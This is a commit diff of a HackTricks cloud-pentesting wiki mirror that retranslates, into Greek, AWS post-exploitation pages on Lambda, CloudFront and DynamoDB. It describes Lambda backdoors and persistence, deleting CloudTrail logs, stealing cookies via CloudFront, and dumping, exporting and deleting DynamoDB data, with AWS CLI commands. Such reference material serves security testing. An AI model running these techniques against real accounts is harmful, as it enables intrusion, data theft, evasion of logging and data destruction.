mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+61
-19
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Είναι δυνατό να **introduce/backdoor a layer to execute arbitrary code** όταν η Lambda εκτελείται με τρόπο stealthy:
|
||||
Είναι δυνατόν να **introduce/backdoor a layer to execute arbitrary code** όταν το Lambda εκτελείται με διακριτικό τρόπο:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers είναι επίσης δυνατό να abuse extensions και να persist μέσα στη Lambda αλλά και να κλέψετε/τροποποιήσετε requests.
|
||||
Καταχρώμενοι τα Lambda Layers, είναι επίσης δυνατό να εκμεταλλευτείτε extensions και να επιτύχετε persistence στο Lambda, αλλά και να κλέψετε και να τροποποιήσετε requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Είναι δυνατό να χορηγηθεί πρόσβαση σε διαφορετικές lambda actions (όπως invoke ή update code) σε εξωτερικούς λογαριασμούς:
|
||||
Είναι δυνατόν να χορηγήσετε πρόσβαση σε διάφορες ενέργειες του Lambda (όπως invoke ή update code) σε εξωτερικούς λογαριασμούς:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Ένα Lambda μπορεί να έχει **διαφορετικές versions** (με διαφορετικό code σε κάθε version).\
|
||||
Στη συνέχεια, μπορείτε να δημιουργήσετε **διαφορετικά aliases με διαφορετικές versions** του Lambda και να ορίσετε διαφορετικά weights σε κάθε ένα.\
|
||||
Με αυτόν τον τρόπο ένας attacker θα μπορούσε να δημιουργήσει ένα **backdoored version 1** και ένα **version 2 με μόνο το legit code** και να **εκτελεί το version 1 μόνο στο 1%** των requests για να παραμείνει stealth.
|
||||
Ένα Lambda μπορεί να έχει **different versions** (με διαφορετικό code σε κάθε version).\
|
||||
Στη συνέχεια, μπορείτε να δημιουργήσετε **different aliases with different versions** του Lambda και να ορίσετε διαφορετικά weights για το καθένα.\
|
||||
Με αυτόν τον τρόπο ένας attacker μπορεί να δημιουργήσει μια **backdoored version 1** και μια **version 2 with only the legit code** και να **εκτελεί τη version 1 μόνο στο 1%** των requests για να παραμείνει stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Αντιγράψτε τον αρχικό κώδικα του Lambda
|
||||
2. **Create a new version backdooring** τον αρχικό κώδικα (ή απλά με malicious code). Publish και **deploy that version** στο $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. Αυτό θα αποκρύψει τον backdoored κώδικα σε μια προηγούμενη version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Σημειώστε το τελικό :1 του arn **που υποδεικνύει την version της function** (η version 1 θα είναι η backdoored σε αυτό το σενάριο).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
6. Τώρα, όταν **call the function via POST your Backdoor** θα κληθεί
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Το ότι μπορείτε να κάνετε **lambda functions run when something happen or when some time pass** καθιστά τη Lambda έναν βολικό και κοινό τρόπο για να αποκτήσετε persistence και να αποφύγετε την ανίχνευση.\
|
||||
Το γεγονός ότι μπορείτε να κάνετε **lambda functions run when something happen or when some time pass** κάνει τα Lambda έναν καλό και κοινό τρόπο για να αποκτήσετε persistence και να αποφύγετε τον εντοπισμό.\
|
||||
Εδώ έχετε μερικές ιδέες για να κάνετε την **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Κάθε φορά που δημιουργείται νέος user, το Lambda δημιουργεί νέο user key και τον στέλνει στον attacker.
|
||||
- Κάθε φορά που δημιουργείται νέο role, το Lambda δίνει assume role permissions σε compromised users.
|
||||
- Κάθε φορά που δημιουργούνται νέα cloudtrail logs, διαγράψτε/τροποποιήστε τα
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα attacker-controlled wrapper script πριν ξεκινήσει το runtime/handler. Παραδώστε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και στη συνέχεια invoke τη function. Το wrapper τρέχει μέσα στη διαδικασία του function runtime, κληρονομεί το function execution role, και τελικά `exec`-άρει το πραγματικό runtime ώστε ο αρχικός handler να εκτελεστεί κανονικά.
|
||||
Καταχραστείτε την environment μεταβλητή `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα attacker-controlled wrapper script πριν ξεκινήσει το runtime/handler. Παράδoστε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και στη συνέχεια invoke τη function. Το wrapper τρέχει μέσα στη διαδικασία runtime της function, κληρονομεί το function execution role, και τελικά κάνει `exec` στο πραγματικό runtime ώστε ο αρχικός handler να εκτελείται κανονικά.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse Lambda asynchronous destinations μαζί με το Recursion configuration για να κάνετε μια function να re-invoke τον εαυτό της συνεχώς χωρίς εξωτερικό scheduler (χωρίς EventBridge, cron, κ.λπ.). Από προεπιλογή, η Lambda τερματίζει recursive loops, αλλά ορισμός του recursion config σε Allow τα επανενεργοποιεί. Τα destinations παραδίδουν στην πλευρά του service για async invokes, οπότε ένα single seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor channel. Προαιρετικά μπορείτε να throttle με reserved concurrency για να κρατήσετε το θόρυβο χαμηλό.
|
||||
Καταχραστείτε τα Lambda asynchronous destinations μαζί με τη Recursion configuration για να κάνετε μια function να ξανα-καλεί τον εαυτό της συνεχώς χωρίς εξωτερικό scheduler (χωρίς EventBridge, cron, κ.λπ.). Από προεπιλογή, το Lambda τερματίζει recursive loops, αλλά ορίζοντας τη recursion config σε Allow τα επανενεργοποιεί. Τα Destinations παραδίδουν από την πλευρά της υπηρεσίας για async invokes, οπότε ένα μοναδικό seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor κανάλι. Προαιρετικά κάντε throttle με reserved concurrency για να κρατήσετε το noise χαμηλό.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
Δημιουργήστε μια κρυφή Lambda version με attacker logic και scope ένα resource-based policy σε εκείνη τη συγκεκριμένη version (ή alias) χρησιμοποιώντας την παράμετρο `--qualifier` στο `lambda add-permission`. Χορηγήστε μόνο `lambda:InvokeFunction` στο `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` σε έναν attacker principal. Οι κανονικές invocations μέσω του function name ή του primary alias παραμένουν ανεπηρέαστες, ενώ ο attacker μπορεί να καλέσει απευθείας το backdoored version ARN.
|
||||
|
||||
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
|
||||
Αυτό είναι πιο stealthy από το να εκθέσετε ένα Function URL και δεν αλλάζει το primary traffic alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Ένας attacker που έχει τα permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, και lambda:GetRuntimeManagementConfig μπορεί να τροποποιήσει τη runtime management configuration μιας function. Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν ο στόχος είναι να διατηρηθεί μια Lambda function σε μια ευάλωτη runtime version ή να διατηρηθεί η συμβατότητα με malicious layers που μπορεί να είναι ασύμβατες με νεότερα runtimes.
|
||||
|
||||
Ο attacker τροποποιεί τη runtime management configuration για να pinάρει τη runtime version:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Επαληθεύστε την εφαρμοσμένη διαμόρφωση:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Προαιρετικά: Επιλέξτε συγκεκριμένη έκδοση runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Κλείδωμα σε συγκεκριμένη έκδοση του runtime:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+18
-9
@@ -10,22 +10,31 @@
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Ένας attacker με δικαίωμα cloudfront:Delete* μπορεί να διαγράψει distributions, policies και άλλα κρίσιμα αντικείμενα ρυθμίσεων του CDN — για παράδειγμα distributions, cache/origin policies, key groups, origin access identities, functions/configs και σχετικούς πόρους. Αυτό μπορεί να προκαλέσει διακοπή υπηρεσίας, απώλεια περιεχομένου και αφαίρεση ρυθμίσεων ή forensic artifacts.
|
||||
|
||||
Για να διαγράψει ένα distribution, ένας attacker θα μπορούσε να χρησιμοποιήσει:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν ήδη χρησιμοποιείται) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **κλοπή** πληροφοριών χρηστών (όπως το session **cookie**) και την **τροποποίηση** της **απάντησης** (έγχυση κακόβουλου JS script).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) προτείνει μερικά διαφορετικά σενάρια όπου μια **Lambda** θα μπορούσε να προστεθεί (ή να τροποποιηθεί αν χρησιμοποιείται ήδη) σε μια **επικοινωνία μέσω CloudFront** με σκοπό την **υποκλοπή** πληροφοριών χρήστη (όπως το session **cookie**) και την **τροποποίηση** της **απόκρισης** (ένεση κακόβουλου JS script).
|
||||
|
||||
#### σενάριο 1: MitM όπου το CloudFront είναι ρυθμισμένο να αποκτά πρόσβαση σε κάποιο HTML ενός bucket
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Δημιουργήστε** τη κακόβουλη **function**.
|
||||
- **Συνδέστε** την με τη διανομή CloudFront.
|
||||
- Ορίστε τον **τύπο event σε "Viewer Response"**.
|
||||
- **Δημιουργήστε** την κακόβουλη **function**.
|
||||
- **Συνδέστε** την με την CloudFront distribution.
|
||||
- Ορίστε τον **event type σε "Viewer Response"**.
|
||||
|
||||
Πρόσβαση στην απάντηση θα σας επέτρεπε να κλέψετε το cookie των χρηστών και να εισάγετε κακόβουλο JS.
|
||||
Προσπελάζοντας την απόκριση μπορείτε να κλέψετε το cookie των χρηστών και να εισάγετε ένα κακόβουλο JS script.
|
||||
|
||||
#### σενάριο 2: MitM όπου το CloudFront ήδη χρησιμοποιεί μια Lambda function
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Τροποποιήστε τον κώδικα** της Lambda function για να κλέψετε ευαίσθητες πληροφορίες
|
||||
- **Τροποποιήστε τον κώδικα** της lambda function για να κλέψετε ευαίσθητες πληροφορίες
|
||||
|
||||
Μπορείτε να δείτε το [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+91
-54
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορεί να **ανακτά εγγραφές από πίνακες με βάση το πρωτεύον κλειδί** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα βρείτε λαμβάνοντας τα μεταδεδομένα του πίνακα (`describe-table`).)
|
||||
Ένας attacker με αυτά τα δικαιώματα θα μπορεί να **ανακτήσει στοιχεία από πίνακες βάσει του πρωτεύοντος κλειδιού** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα βρείτε παίρνοντας τα μεταδεδομένα του πίνακα (`describe-table`)).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεση privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα, εφόσον γνωρίζει το πρωτεύον κλειδί της εγγραφής που θέλει να ανακτήσει:
|
||||
**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από έναν μόνο πίνακα, δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Με αυτή την άδεια είναι επίσης δυνατό να χρησιμοποιήσετε τη μέθοδο **`transact-get-items`** ως εξής:
|
||||
Με αυτή την άδεια είναι επίσης δυνατό να χρησιμοποιηθεί η μέθοδος **`transact-get-items`** όπως:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Δυνητικός αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Παρόμοιο με τις προηγούμενες άδειες** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα δεδομένων δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός [υποσυνόλου συγκρίσεων](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το πρωτεύον κλειδί (που πρέπει να εμφανίζεται) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη βάση δεδομένων σε ένα αίτημα.
|
||||
**Όπως και οι προηγούμενες permissions** αυτή επιτρέπει σε έναν πιθανό attacker να διαβάσει τιμές από μόνο 1 table, δεδομένου του primary key της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το primary key (που πρέπει να εμφανίζεται) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη DB σε ένα αίτημα.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,7 +107,7 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Πιθανός Αντικτύπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός αντίκτυπος:** Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
@@ -115,27 +115,27 @@ aws dynamodb query \
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
Μπορείτε να χρησιμοποιήσετε αυτή την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Αυτή η άδεια επιτρέπει επίσης την εκτέλεση του `batch-execute-statement` όπως:
|
||||
Αυτό το δικαίωμα επιτρέπει επίσης την εκτέλεση του `batch-execute-statement` όπως:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
αλλά πρέπει να καθορίσεις το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι και τόσο χρήσιμο.
|
||||
αλλά πρέπει να καθορίσεις το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι τόσο χρήσιμο.
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Potential Impact:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Αυτό το permission θα επιτρέψει σε attacker να **export the whole table to a S3 bucket** της επιλογής του:
|
||||
Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να **εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket** της επιλογής του:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Σημειώστε ότι για να λειτουργήσει αυτό ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery, μπορείτε να ελέγξετε αν ο πίνακας το έχει με:
|
||||
Σημειώστε ότι για να λειτουργήσει αυτό, ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον table
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Με αυτά τα δικαιώματα, ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει έναν νέο πίνακα από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό πίνακα). Στη συνέχεια, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει τις **πληροφορίες** από τα backups που δ**εν θα βρίσκονται πια στον πίνακα παραγωγής**.
|
||||
Με αυτά τα δικαιώματα, ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει νέο table από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό table). Στη συνέχεια, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει **πληροφορίες** από τα backups που c**δεν θα υπάρχουν πλέον στον production** table.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο αντίγραφο ασφαλείας του πίνακα
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Αυτή η άδεια επιτρέπει στους χρήστες να προσθέσουν ένα **νέο αντικείμενο στον πίνακα ή να αντικαταστήσουν ένα υπάρχον αντικείμενο** με ένα νέο αντικείμενο. Εάν ένα αντικείμενο με το ίδιο πρωτεύον κλειδί υπάρχει ήδη, το **ολόκληρο αντικείμενο θα αντικατασταθεί** με το νέο αντικείμενο. Εάν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο αντικείμενο με το καθορισμένο πρωτεύον κλειδί θα **δημιουργηθεί**.
|
||||
Αυτή η άδεια επιτρέπει στους χρήστες να προσθέσουν ένα **νέο στοιχείο στον πίνακα ή να αντικαταστήσουν ένα υπάρχον στοιχείο** με ένα νέο στοιχείο. Εάν ένα στοιχείο με το ίδιο πρωτεύον κλειδί υπάρχει ήδη, το **ολόκληρο στοιχείο θα αντικατασταθεί** με το νέο στοιχείο. Εάν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί θα **δημιουργηθεί**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
|
||||
**Πιθανός Αντίκτυπος:** Εκμετάλλευση περαιτέρω vulnerabilities/bypasses μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός αντικειμένου ή να προσθέτουν νέα χαρακτηριστικά σε ένα αντικείμενο**. Δεν **αντικαθιστά** ολόκληρο το αντικείμενο; ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα **δημιουργήσει ένα νέο αντικείμενο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.
|
||||
Αυτή η άδεια επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός στοιχείου ή να προσθέτουν νέα χαρακτηριστικά σε ένα στοιχείο**. Δεν **αντικαθιστά** ολόκληρο το στοιχείο· ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η ενέργεια θα **δημιουργήσει ένα νέο στοιχείο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -252,39 +252,39 @@ aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.
|
||||
**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και διακοπή υπηρεσιών που βασίζονται στον διαγραμμένο πίνακα.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **διαγράψει ένα αντίγραφο ασφαλείας του DynamoDB, ενδεχομένως προκαλώντας απώλεια δεδομένων σε περίπτωση σεναρίου ανάκτησης από καταστροφή**.
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί **να διαγράψει ένα DynamoDB backup, ενδεχομένως προκαλώντας απώλεια δεδομένων σε περίπτωση σεναρίου ανάκτησης από καταστροφή**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Ενδεχόμενος αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από ένα backup σε σενάριο ανάκτησης από καταστροφή.
|
||||
**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας κατά τη διάρκεια σεναρίου αποκατάστασης μετά από καταστροφή.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν αυτό λειτουργεί πραγματικά
|
||||
|
||||
Ένας attacker με αυτές τις άδειες μπορεί να **ενεργοποιήσει ένα stream σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα ώστε να ξεκινήσει το streaming αλλαγών, και στη συνέχεια να έχει πρόσβαση στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage.
|
||||
